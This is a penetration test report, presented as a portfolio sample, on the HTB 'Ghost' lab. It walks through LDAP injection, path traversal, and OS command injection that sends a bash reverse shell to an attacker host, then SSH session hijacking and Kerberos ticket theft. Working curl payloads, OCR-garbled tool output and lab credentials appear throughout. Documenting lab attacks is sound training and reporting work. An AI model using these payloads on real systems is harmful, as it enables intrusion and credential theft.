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1 Portfolio Use & Disclaimer

This report is provided as a portfolio sample to demonstrate penetration testing methodology,
technical writing, risk communication, and remediation planning.

The assessment described herein was performed against a deliberately vulnerable training
environment intended for educational use. The target system represents a simulated client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts

Assessor Contact

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary

This assessment was conducted by Joe Thompson as a network penetration test of a simulated
Windows Active Directory environment hosted at 10.129.231.105 (DCO1.ghost.htb). The environment
included a primary domain (ghost.htb), a secondary domain (corp.ghost.htb) with a bidirectional cross-
domain trust, and a range of internally exposed services including a Ghost CMS blog, Next.js intranet,
Gitea instance, ADFS federation server, and Microsoft SQL Server. Testing was performed using a black-
box approach without prior knowledge of the environment.

3.1 Approach

Joe Thompson performed testing using a black-box approach, without credentials or prior knowledge
of the environment. The assessment targeted externally accessible services and worked inward
through credential compromise, lateral movement, and Active Directory privilege escalation across
two domain trusts.

Testing was conducted remotely from Joe Thompson's assessment environment. All findings were
manually validated to confirm exploitability and assess impact. Where initial access was obtained,
post-exploitation enumeration was performed to identify all available paths to full domain
compromise across both the ghost.htb and corp.ghost.htb environments.

3.2 Scope

The scope of this assessment included the externally accessible host 10.129.231.105 (DC01.ghost.htb,
ghost.htb). Testing covered all services accessible at the target IP and any additional hosts discovered
through the engagement.

In Scope Assets

Asset Type Description

External Host ECEEEEERETE (DCO01.ghost.htb, ghost.htb)
Web Application http://ghost.htb:8008 — Ghost CMS blog

Web Application http://intranet.ghost.htb:8008 — Next.js intranet
Source Control http://gitea.ghost.htb — Gitea instance
Federation Service https://federation.ghost.htb — ADFS

Admin Panel https://core.ghost.htb:8443 — Ghost Core

Secondary Domain corp.ghost.htb — bidirectional trust with ghost.htb

3.3 Assessment Overview and Recommendations

During this assessment, Joe Thompson identified 11 security findings affecting the confidentiality,
integrity, and availability of the assessed environment. The findings include 2 critical-risk findings, 7
high-risk findings, and 2 medium-risk findings.
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The intranet application at intranet.ghost.htb authenticates users against an LDAP backend.
Submitting a wildcard character as both username and password bypassed authentication entirely.
The same LDAP injection also served as a character-by-character oracle for password extraction: brute-
forcing the gitea_temp_principal account revealed credentials to log into the Gitea instance.

Gitea held source code for both the Ghost CMS blog and the intranet backend. The blog content API
concatenated a user-supplied extra parameter directly onto a file path and read the result from disk,
enabling arbitrary file read. Reading /proc/self/environ exposed a DEV_INTRANET_KEY environment
variable. The intranet backend's scan endpoint inserted the user-supplied url field into a bash -c
string without sanitisation, enabling OS command injection. Using the recovered key produced code
execution as root inside the Docker container.

Inside the container, a live SSH ControlMaster socket for florence.ramirez permitted session hijacking
without credentials. Florence's Kerberos TGT was extracted and used to inject a poisoned DNS record
for bitbucket.ghost.htb — a hostname referenced in intranet forum posts as unresolvable.
Responder captured an NTLMv2 callback from justin.bradley, whose cracked credentials provided
WinRM access and the user flag.

BloodHound identified ReadGMSAPassword rights from justin.bradley over the adfs_gmsa$ service
account. Reading the GMSA hash and authenticating as the ADFS service account enabled extraction
of the ADFS token signing certificate and DKM key, which together permitted forgery of a Golden
SAML token for any user. Injecting a forged Administrator SAML assertion via Burp Suite unlocked the
Ghost Core admin panel and revealed a linked MSSQL server in corp.ghost.htb. Remote code
execution via xp_cmdshell over the linked server provided a foothold on the corp domain as nt
service\mssqlserver. SeImpersonatePrivilege was escalated to SYSTEM via EfsPotato. With full control
of corp.ghost.htb, a cross-domain golden ticket with SID history injection targeting the ghost.htb
Enterprise Admins group achieved full compromise of the primary domain controller.

It is recommended that the intranet application replace its LDAP authentication with properly escaped
queries, that the Ghost CMS content API validate and restrict the extra parameter, that the intranet
scan endpoint be removed or rewritten to eliminate the command injection surface, and that the ADFS
configuration, GMSA delegation, and cross-domain trust be reviewed in line with the detailed
remediation guidance provided.
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4 Network Penetration Test Assessment
Summary

Joe Thompson conducted testing from the perspective of an unauthenticated external attacker with no
prior knowledge of the assessed environment. Testing began with service and web application
enumeration, progressed through credential compromise and lateral movement across web, Docker,
and Active Directory layers, and concluded with cross-domain privilege escalation achieving full
compromise of both the ghost.htb and corp.ghost.htb domains.

4.1 Summary of Findings

During testing, Joe Thompson identified 11 findings that present varying levels of risk to the assessed
environment. In addition, 0 informational observations were noted which, while not representing
direct vulnerabilities, highlight opportunities to further improve overall security posture and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 2 Critical, 6 High and 3 Medium vulnerabilities were identified:

6

Critical High Medium Low Info

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report.
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Severity Level

9.9 (Critical)

9.1 (Critical)

8.0 (High)

8.0 (High)

7.8 (High)

7.5 (High)

7.5 (High)

7.2 (High)

6.5 (Medium)

6.0 (Medium)

5.7 (Medium)

Joe Thompson

Finding Name

OS Command Injection in Intranet Developer API Scan
Endpoint

LDAP Injection Authentication Bypass on Intranet Login

ADFS Token Signing Key Extraction Enables Golden SAML Token
Forgery

Cross-Domain Golden Ticket with SID History Injection Achieves
Full ghost.htb Domain Compromise

SelmpersonatePrivilege on MSSQL Service Account Enables
Privilege Escalation to SYSTEM via EfsPotato

LDAP Wildcard Injection Enables Character-by-Character
Password Extraction

Path Traversal in Ghost CMS Content API Enables Arbitrary File
Read

MSSQL Linked Server Permits Remote Code Execution via
xp_cmdshell on corp.ghost.htb

ReadGMSAPassword Rights Enable ADFS Service Account
Credential Recovery

Active SSH ControlMaster Socket in Docker Container Enables
Session Hijacking and Kerberos Ticket Theft

ADIDNS Record Injection Enables NTLM Credential Capture via
Responder
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5 Internal Network Compromise Walkthrough

During the assessment, Joe Thompson exploited a chain of web application vulnerabilities, Active
Directory misconfigurations, and cross-domain trust abuse to achieve full compromise of both the
ghost.htb and corp.ghost.htb domains from an unauthenticated external position. The walkthrough
below documents the successful attack path and does not represent all vulnerabilities identified
during testing.

Any issues not required to achieve compromise are documented as standalone findings in the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough

Joe Thompson performed the following to fully compromise the ghost.htb and corp.ghost.htb
domains.

1. Performed network enumeration — Windows domain controller confirmed; LDAP/Kerberos confirm
ghost.htb; MSSQL (1433), WinRM (5985), and nginx on 8008/8443 also open
2. Enumerated web services on port 8008 — Ghost CMS blog discovered; vhost fuzz revealed
intranet.ghost.htb
3. Exploited LDAP injection on the intranet login — wildcard bypass authenticated without credentials;
users list, Gitea reference, and forum posts extracted
4. Exploited LDAP wildcard injection as a password oracle — brute-forced gitea_temp_principal
password character-by-character; authenticated to Gitea
5. Reviewed Gitea source code — blog repo revealed path traversal in the Ghost CMS content API;
intranet repo revealed OS command injection in scan.rs
6. Exploited path traversal in Ghost CMS content API — read /proc/self/environ to recover the
DEV_INTRANET_KEY
7. Exploited OS command injection on /api-dev/scan using the recovered key — reverse shell as root
inside the Docker container
8. Discovered live SSH ControlMaster socket for florence.ramirez — hijacked the session and extracted
her Kerberos TGT
9. Used Florence's TGT to inject a poisoned bitbucket.ghost.htb DNS record — Responder captured
justin.bradley NTLMv2 hash; cracked offline
10. Authenticated via WinRM as justin.bradley — user flag retrieved; BloodHound collected and
revealed ReadGMSAPassword over adfs_gmsa$
11. Read GMSA password for adfs_gmsa$ via NXC — recovered NTLM hash for the ADFS service
account
12. Extracted ADFS token signing key and DKM key as adfs_gmsa$ — forged a Golden SAML assertion
for Administrator; replaced SAMLResponse in Burp to gain Ghost Core admin access
13. Queried MSSQL linked server PRIMARY in corp.ghost.htb via Ghost Core SQL interface — chained
xp_cmdshell through linked server; shell as nt service\mssqlserver
14. Identified SeImpersonatePrivilege on mssqlserver token — compiled and executed EfsPotato to
escalate to SYSTEM on corp.ghost.htb
15. Ran DCSync on corp.ghost.htb krbtgt with Mimikatz — forged cross-domain golden ticket with
ghost.htb Enterprise Admins SID history using Rubeus; read root flag from DC01.ghost.htb
Administrator desktop
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1. Network Enumeration

A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.231.105 -oA TCP_allports

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//")
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.231.105

Key results: DNS (53), Kerberos (88), LDAP (389/636/3268/3269) confirming ghost.htb as the domain,
MSSQL (1433), WinRM (5985), nginx on 8008 and 8443. The 8443 SSL certificate CN was
core.ghost.htb. Port 80 returned a 404. Initial /etc/hosts entries added: DC@1.ghost.htb,
core.ghost.htb, ghost.htb. Clock sync performed with ntpdate to prevent Kerberos failures.

2. Web Enumeration and Vhost Discovery

Port 8008 served a Ghost CMS blog:

ire. http://ghost.htb:8008

s e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Embarking on the Supernatural Journey: Welcome to Ghost!

Greetings, fell s of the unknown! It excitement and a touch of trepidation that we
welcome y ital realm of Ghost, y C tination for unraveling the myst

A virtual host fuzz against port 8008 found intranet.ghost.htb:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-5000.txt \

-u http://ghost.htb:8008 -H 'Host: FUZZ.ghost.htb' -fs 7676

Added intranet.ghost.htb and gitea.ghost.htb to /etc/hosts.

3. LDAP Injection — Intranet Authentication Bypass

Browsing to http://intranet.ghost.htb:8008 showed a login form:
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Intranet Login

Login

The page source exposed the field name 1ldap-username, confirming LDAP backend authentication:

O | 3 Inspector Console [ Debugger P Network {} Style Editor Q) Performance  {k Memory (B Storage T Accessibility 388 Applicatior

-center it
1/12 item:
n" name="SACTION REF 1°=>
SACTION 1:0'
SACTION 1:1" va

niltipart/form-data® method="POST"> (flex

=di

e> | event) (flex

ext/static/chunks/webpack-1982a2198e71cdad. js* async=""x</

Submitting * as both username and password bypassed authentication. LDAP wildcard patterns
match any value, causing the LDAP filter to evaluate true for every account without validating a real
credential:
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Intranet Login

Login

The authenticated intranet exposed a Users section listing 11 internal accounts, a News section
referencing gitea_temp_principal, and a Forums post noting that bitbucket.ghost.htb had no DNS

record:

Intranet

News
Username

Users
kathryn.holland

Forum
cassandra.shelton
robert.steeves
florence.ramirez
justin.bradley
arthur.boyd

beth.clark

charles.gray

jason.taylor

intranet_principal

gitea_temp_principal

Joe Thompson

Full Name

Kathryn Holland

Cassandra Shelton

Robert Steeves

Florence Ramirez

Justin Bradley

Arthur Boyd

Beth Clark

Charles Gray

Jason Taylor

Intranet Principal

Gitea_Temp Principal

Ghost

Member of
sysadmin
sysadmin
sysadmin
T

IT, Remote Management Users
T

HR

HR

HR
principal

principal
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Intranet

News
Git Migration

We are currently migrating Gitea to Bitbucket.
Forum Domain logins to Gitea have been disable

Users

You can only login with th zount and its correspondingjintranet token

We can't post the password
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.

New Intranet Portal

We are in the process of migrating to the new intranet portal (this one).
Until then, you have to use a secret token instead of your domain password.
We apologize for the inconvenience!

Intranet

News
are migrating posts from the old intrane

Users

Forum Cannot connect to BitBucket
Hello all, I tried to connect td bitbucket.ghost.htd but it doesn't work. Any idea why? | have a script that checks the pipeline results and it works in Gitea, | tried adapting it to Bitbucket and it works locally but | can't test it on our servers
Author: justin.bradley
Replies:

Kathryn.hollandt: Hello Justin, the migration is not ready yet, so the DNS entry is not configured. It shouldn't take much longer, so you can keep running the script

Team Triumph: Our Recent Breakthrough in Paranormal Research
Exciting news! Our recent investigation led to a breakthrough in paranormal research. Check out our latest blog post to uncover the details of this significant milestone. Teamwork makes the dream work!

Author: beth.clark

Replies:

robert.steeves: That's awesome! Does this come with a pay rise? :)
beth.clark: No

robert.steeves: :(

Spotlight Series: Investigator of the Month

In our new Spotlight Series, we'll be showcasing the exceptional efforts of our investigators. This month, dive into the experiences and insights of Kristen Rose, who played a pivotal role in our recent successful investigation. Learn from their
expertise and be inspired!

Author: jason.taylor

Replies:

robert.steeves: Congratulations!

4. LDAP Wildcard Brute-Force — Gitea Credential Recovery

The same LDAP injection served as a character-by-character password oracle. A pattern like szrr* as
the password will match if the real password starts with szrr. The application returns HTTP 303 on
successful bind and an error on failure, making the oracle reliable.

A Python script threaded requests against the login endpoint, extending the known prefix one
character at a time until no further matches were found:

Joe Thompson Ghost 14
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(base) —(parallels® kali-gnu-1inux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
—5 python3 secret.py

[#] Starting LDAP wildcard brute-force ...

[+] Position 1: 's
[+] Position 2:

[+] Position 3

[+] Position &4: 'szrr’
[+] Position 5: ‘szrrs’
[+] Position 6&6: "szrr8k’

[+] Position 7: 'szrré8kp’

[+] Position 8: 'szrr8kpc’

[+] Position 9: ‘szrr8kpc3’

[+] Position 1@: 'szrr8kpc3z’

[+] Position 11: 'szrr8kpc3z6’

[+] Position 12: 'szrr8kpc3zéo'

[+] Position 13: "szrr8kpc3zéon’

[+] Position 14: ‘szrr8kpc3zéonl’

[+] Position 15: °szrr8kpc3zeonlg'

[+] Position 16: 'szrr8kpc3z6onlgf’

['] No match at position_17. Done.

[+] Recovered passwnrd:r;ErerPCSZEBHqul

Password recovered for gitea_temp_principal: szrr8kpc3z6onlqf
Authenticated to Gitea at gitea.ghost.htb:

@  Issues  PullRequests  Milestones  Explore L +- .~
BB oiceo_temp._principal -

B cossandra shelton pushed to main at ghost-dev/blog 3 years ago o Repository Organization
@ 2%aa7rbsal  ini

helton pushed to main at ghost-dev/blog 3 yearsago o
@ 57a6714319  initialcommit

5. Gitea Source Code Review

Two repositories were accessible. The blog repository source for the Ghost CMS content API showed
the extra parameter concatenated directly onto a base path and read from disk without sanitisation:

Joe Thompson Ghost 15
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O | @ NotSecure http://gitea.ghost.htb:8008/ghost-dev/blog/src/branch/main fposts-public.js

acs % Kali Forums @ Kali NetHunter = Exploit-DB % Google Hacking DB " DffSec

a2 Lmie -,

a6 'order’,

a7 ‘page’,

a8 'debug',

89 'absolute urls!',

98 'collection’

91 7

92 validation: {

a3 options: {

94 include: {

95 values: allowedIncludes

96 1

a7 formats: {

98 values: models.Post.allowedFormaks

a9 3

160 3

161 1

162 permissions: true,

163 async query(frame) {

184 const options = {

185 ...frame.options,

106 mangoTransformer: rejectPrivateFieldsTransformer
187 £ s

168 const posts = await postsService.browsePosts{options);
169 const extra = frame.original.guery?.extra;

116 it (extra) {

111 const fs = require{"fs");

112 if (fs.existsSync(extra)) {

113 const fileContent = fs,readFileSync(”/var/Lib/ghost/extra/" + extra, { encoding: "uef8" });
114 posts.meta.extra = { [extra]: fileContent };
115 1

116 1

117 return posts;

118 b

118 3

128

The intranet repository contained scan.rs, which built a bash -c¢ command by formatting the user-
supplied url field directly into the shell invocation:
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http://gitea.ghost.htb:8008/ghest-dewWintranet/src/branch/main/backend/src/api/dev/scan.rs

o Kali NetHunter % Exploit-DB % Google Hacking DB OffSec

re
g @"I\)Sl’*dt"\/ {intranet Private 3 W Unwatch | 2 Yrstar | O Yrok 0
<> Code
P main - 1 | intranet [ backend [ src [ api [ dev [ scan.rs
51 lines | 1.5 KiB | Rust Raw | Permalink Blame Hsory | 4y B R F
1 e std::process::Command;
3 se rocket::serde::json::Json;
4 e rocket::serde: :Serialize;
B e serde::Deserialize;
6
T crate::api::dev::DevGuard;
L:}
9
11 url: String,
12 3
13
14 #[derive
15 L
10
17
18 temp_command_success: bool
19 temp_command stdout: §
28 temp_command_stderr: String
21 3
22
23
24 e
25 Y, dn_:fl = "<data> '__|_]
26 rd; data: Jsu‘-‘-ScanRequest‘ ) == Jsor."ScanR'esucnse-‘ '{
27
28
29 let result = Command::new("bash")
3e ~arg{t-cty
31 .arg{format!("intranet_url_check {}", data.url))
32 Joutput();
33
34 match result {
35 Ok(output) == {
36 Json(ScanResponse {
37 is_safe: true,
a8 temp_command_success: true,
39 temp_command_stdout: String::from utfB(output.stdout).unwrap or{"",te string()),
48 temp_command_stderr: String::Trom utfa(output.stderr).unwrap or("".to_string()),
41 5]
42 3}
43 Err(_) == Json{ScanResponse {
44 is_safe: true,
45 temp_command_success: false,
46 temp_command_stdout: .to_string(),
47 temp_command_stderr: "".to_string(),
48 1)
49 }
56}

The scan endpoint required an X-DEV-INTRANET-KEY header, referenced in the blog repository as a
DEV_INTRANET_KEY environment variable. The path traversal was the means to retrieve it.

6. Path Traversal via Ghost CMS Content API

The public Ghost content API key (a5af628828958c976a3b6cc8la) was visible in the blog repository
README. Using it with a traversal payload confirmed arbitrary file read:

curl 'http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../..

passwd&key=a5af628828958c976a3b6cc8la’

Joe Thompson Ghost 17
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(base) — ~/Documents/HTB, anes/reundlghnst
LS curl "http://ghost.hth:8008/ghost/api/v3/content/posts/7extra= / =a5af628828958c976a3b6cc81a”
{"posts id":"65bdd2dc26db7d00010704b5 ~22db47b3-bbF6-4260-9FCF-8873630782CF Embarking on the Supernatural Journey: Welcome to Ghost!",”slug”:“embarking-on-the-supernatural-journey-wel

come-to-ghost”, "html": "<p>Greetings, fellow seekers of the unknown!</p><p>It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination fo
r unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexp
lained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with g
hosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect)">What
to Expect</h2><p>Our digital abode is more than just a collection of stories; it’'s a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li><strong>Investigative Chronicles
</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</1i><li><strong>Tech Tuesday
s</strong>: Stay at the forefront of paranormal research with our weekly dives inte the latest ghost-hunting gadgets, software, and technigues. Knowledge is our strongest ally in the face of the unknown.</
1i><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated
team.</1i><1i><strong>Community Cornerc/strong>: Ghost is more tham a website; it's a community. Share your own supernatural experiemces, theories, and questions in our Community Cormer. Together, we ampli
fy the voices seeking to understand the inexplicable.</1li></ol><h2 id=\"join-us-on-this-extraordinary-expedition\”>Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is not for
the faint of heart, but it is a journey worth taking. As we Lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our con
tent, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a website; it's a portal to the enigmatic, a gateway to the supernatural, and a tes
tament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>","comment id":"659cdeec9cd6330001bae

Fbf","feature_image®:null,"featured” :true, "visibility":"public”, "created_at":"2024-81-09T05:51:40.000+00:00" , "updated at": *2024-01-09T05:52:59.000+00:00" , "published at":"2024-01-09T05:52:29,000+
tom_excerpt”:null, "codeinjection_head”:null, “codeinjection_foot™:null,“custom_template™:null, canonical url”:null, “url”:"http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/", "excerpt”:
“Greetings, fellow seekers of the unknown!\n\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries t
hat lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\n\nWhy Ghost?\n\nT
he quest to understand the supernatural has been etched into the fabric of human history. From anc",”reading_time":1,"access”:true,"comments”:false,"og_image”:null, "og_title”:null,"og_description”:null,"tw
itter dimage”:null.“twitter title’:null. twitter descrintion®:null.’meta title”:null. meta deswivtiun".nU'L'L."ermil subiect”inull. " frontmatter®:null. feature image alt :null.”feature image captio
meta”:{"pagination”:{"page:1, limit":15, pages”:1, total”:1, next”:null, “prev-:null}, "extra":{" .. wof et ouf /.. /otc/passud”: “root:%:@:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon
in:/sbin/nologin\nadm 4Zadm: /var/adm: /sbin/nologin\nlp:x Iac/=puol/ind Ishiafoalogindasine sync:/sbin: /bin/sync\nshutdown:x:6:0:shutdown: /sbin fsbln/shutdnwn\nhalt o:
halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x: usr/1ib/news:/sbin/nologin\nuucp:x: ucp:/var/spool/uucppublic: /sbln/nulugln\nwerator @:operator:/root:/sbin/no
i i i ../Var/l)b/ﬂ:p /shln/nulngm\nsshd 2:22:

var/spool/cron:/sbin/nologin\nftp:
:31:31:Squid:/var/cache/squid: /sbin/nologin\nxfs:x:33:33:X Font Serve 3
:123:123:NTP: /var/empty:/sbin/nologin\nsmmsp:x:209:209: smmsp: /var/spool/mqueue: /sbin
bin/sh\n*}1}

sshd:/dev/null:/sbin/nologin\nat:x:25:25:at: /var/spool /cron/atjobs: /sbin/nologin\nsquid
s:/usr/games: /sbin/nologin\ncyrus:x:85:12 :: /usr/cyrus: /sbin/nologin\nvpopmail:x:89:89 :: /var/vpopmails /sbin/nalogin\nntp:
/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534: nobody /sbin/nologin\nnode:x:1000:1008:Linux User,,,:/home/node:

Reading /proc/self/environ dumped the container's environment, including the key:

curl 'http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=.
self/environ&key=a5af628828958c976a3b6cc8la’

(base) —(1 g )~ [~/Documents/HTB. anes/rehred/ghust

L$ curl "http://ghost.htb:8008, /content/pos ;- /proc/sel f/environtkey 62882895897, 8la
{"posts™:[{"id":"65bdd2dc26db7 | 1l7ﬂhb5 , "uuid”:"22db47b3- tha 426d-0Fcf- 8873636F82cf' "title":"Embarking on the Supernatural Journey: Welcome to Ghost!®,"slug":"embarking-on-the-supernatural-journey-wel
come—to-ghost™, “html ":"<psGreetings, fellow seekers of the unknown!</ps<p>Tt is with grest excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination fo
r unraveling the mysteries that lie beyond the veil of the ordimary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexp
lained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The guest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with g
hosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect\">What
to Expect</h2><p>0ur digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li><strong>Investigative Chronicles
</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li><li><strong>Tech Tuesday
s</strong>! Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.</
1i><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated
team.</1i><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we ampli
fy the voices seeking to understand the inexplicable.</li></ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is mot for
the faint of heart, but it is a journey worth taking. As we Lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our con
tent, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a websitej it's a portal to the enigmatic, a gateway to the supernatural, and a tes
tament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>","comment_id":"659cdeecocd6330001bae
fbf","feature_image”:null, "featured”:true, "visibility":"public”,"created at":"2024-01-09T05:51:40.000+00:00", "updated at":"2024-01-09T@5:52: 00+00:00", "published at*:"2024-01-09T05:52:29.000+08:00" " cus
tom_excerpt”:null,"codeinjection_head":null,"codeinjection_foot” :null,"custom_template®:null,"canonical_url™:null, url®:

http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/", "excerpt
“Greetings, fellow seekers of the unknown!\nm\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries t
hat lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\m\nWhy Ghost2\n\nT
he quest to understand the supernatural has beem etched into the fabric of human history. From anc”,”reading_time”:1,"access”:true,"comments®:false,”og_image”:null,”eg title”:null,"og_description”:null,"tw
itter_image”:null,”twitter_title”:null, twitter_description”:null, meta_title”:null, meta_description”:null, email_subject®:null, frontmatter”:null, feature_image alt™:null, feature_image_caption®:null}l,”
meta”:{"pagination”:{"page”:1,"limit*:15,"pages*:1, "total": ,"prev®inull}, "extra®:{"../../ ../ ../ ../ ../ ../ ../proc/self/environ" : "HOSTNAME=26ae7990f3dd\u@000database_ debug=false\uBOOOYARN_VERSIO
N:l.zz.19\ummvwn:/uxrﬂih/gnast\ 0ONODE_ENV=production\u __connection_ filename=content/data/ghost.db\u0@@@@HOME=/home/node\u0@0adatabase_ client=sqlite3\uo@eeurl=htip://ghost.htb\ue@oeDEV_IN
TRANET_KEY!@yqr! X2kxmQ.@Xe,uo0eadatabase_ useNullAsDefault=true\u@@@OGHOST CONTENT=/var/lib/ghost/content\u@ GHOST_CLI_VERSION=1.25.3\u@000GHOST_INSTALL=/var/lib/ghost\u0@@OPATH=/usr/local/
sbin:/usr/16CaT/BTIn:/UST/S01n: /usr/bin: /sbin: /bin\u@@@ENODE_VERSION=18.19.0\u@@@OGHOST_VERSION=5.78.0\u000a" }}}

Key recovered: !@yqr!X2kxmQ.@Xe

7. 0S Command Injection — Docker Container Shell
With the key, the scan endpoint was tested for command injection:

-X POST http://intranet.ghost.htb:8008/api-dev/scan \
'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
"Content-Type: application/json' \

"{"url":"; whoami"}

)-[~/Documents/HTB_Boxes/retired/ghost]
CUT POST http: I',t‘1ntranet ghost. hth 8p08/api-dev/scan -H DEV-TNTRANET-KEY: !@yqr!X2kxn
{"is_safe":true,"temp_command_success”:true,"temp_command_stdout”: root\n","temp_command_stderr"”

(base) —

whoami |

application/jst i H
bash 'Llne 1 intranet_url_check: command not Fuund\u ¥

The endpoint returned root . A bash reverse shell was sent:

curl -X POST http://intranet.ghost.htb:8008/api-dev/scan \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
-H 'Content-Type: application/json' \
-d "{"url":"; bash -i >& /dev/tcp/10.10.16.60/9001 ©0>&1"}"'

base) —{pa )-[~/Documents/HTB_Boxes/retired/ghost
rl -X POST http://intranet. ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY:
]

ication/json' -d

-H 'Content-T:
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(base) —iparallels® kali-gnu-1linux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
—% rlwrap nc —Llvnp * 'Ul

listening on [any] 9881 ...

connect to [1@.10.16.60] from (UNKNOWN) [10.129.231.185] 49844

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

Z0otDA6Hh733906694: /app# whoami

\whoami |

|root |

Tootoibb733906694: /appt ||

Interactive shell obtained as root inside the Docker container.

8. SSH ControlMaster Hijacking — Florence Ramirez TGT

Enumerating the container revealed a live SSH ControlMaster socket:

/root/.ssh/ControlMaster/florence.ramirez@ghost.htb@dev-workstation:22

root@36b733906694:~/.s5h# 15 -la

1s -1a

total 32

drwxr-xr-x 1 root root 4896 Jul 5 2824 .

drwx 1 root root 4096 Jul 5 2024 ..

-rw-r—r— 1 root root 92 Jun 12 13:54 _config
drwxr-xr-x 1 root root 4896 Jun 12 13:55 controlmaster
-Tw—— 1 root root 978 Jul 5 2024 Known_nostis
-TW-r—r— 1 root root 142 Jul 5 2824 known_hosts.old
rootm36b733906694~/.ss5h# cd controlmaster

cd controlmaster

root@36b733906694:~/ . ssh/controlmasterd 1s -la

1s -1a

total 12

drwxr-xr-x 1 root root 4896 Jun 12 13:55

drwxr-xr-x 1 root root 4896 Jul 5 2024,

stw——— 1 root root ® Jun 12 13:55) florence. ramlrezmghOSt htbadev-workstation: 22
root@36b733906694:~/.ssh/controlmasters |

SSH ControlMaster multiplexes sessions over a single authenticated connection. The existing socket
meant florence.ramirez's SSH session to dev-workstation was active and authenticated. The socket
was used to run commands in her context without knowing her password or key.

Florence's Kerberos ticket cache at /tmp/krb5cc_50 was extracted via the socket:

ssh florence.ramirez@ghost.htb@dev-workstation 'cat /tmp/krb5cc_50 | base64 -w @; echo’

r00td36b733906694:~/ . ssh/controlmaster# ssh florence.ramirezighost.htb@dev-workstation "cat /tmp/krbScc_50 | base6s -w 0; echo”

<orkstation "cat /tmp/krbscc 50 | base64 —w 0; echo”

BOQADAAB, B UdITINULKhU BBMbGIYZWS I ZS5yYW1pC EAAAAJRONPULQUSFRCARAAEGZ 5b3TLDMINLLY JNONLYZX0AAAABARAAAMARAAK TLUNBONFQU90R 0AAAAY 23 TINVI I V2 FIaGY FY29uZ L9KYXRRARAABSBIX3
